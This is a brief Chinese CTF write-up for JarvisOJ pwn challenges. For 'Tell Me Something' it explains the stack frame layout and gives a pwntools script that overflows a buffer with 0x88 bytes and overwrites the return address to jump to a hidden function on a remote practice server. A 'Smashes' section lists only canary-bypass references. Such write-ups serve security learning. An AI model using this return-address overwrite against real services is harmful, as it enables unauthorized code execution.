JarvisOJ PWN

Tell Me Something

题目文件
使用checksec查看保护机制:
JarvisOJ PWN_第1张图片
开启了NX保护(栈不可执行)
关键在于理解栈帧结构,找到good_name的地址后。
过程中遇到一个疑问,为什么payload是’a’*0x88+add而不是’a’*0x90+add,即为什么没有oldebp。
看汇编:
JarvisOJ PWN_第2张图片
并没有oldebp出栈的操作。

payload:

from pwn import*
r=remote('pwn.jarvisoj.com','9876')
print r.recvline()
pad='a'*0x88
add=p64(0x400620)
payload=pad+add
r.sendline(payload)
print payload
print r.recvline()
print r.recvline()

Smashes

题目文件

参考:
CTF wiki stack smash
Canary保护详解和常用Bypass手段
canary的各种姿势----pwn题解版

你可能感兴趣的:(CTF)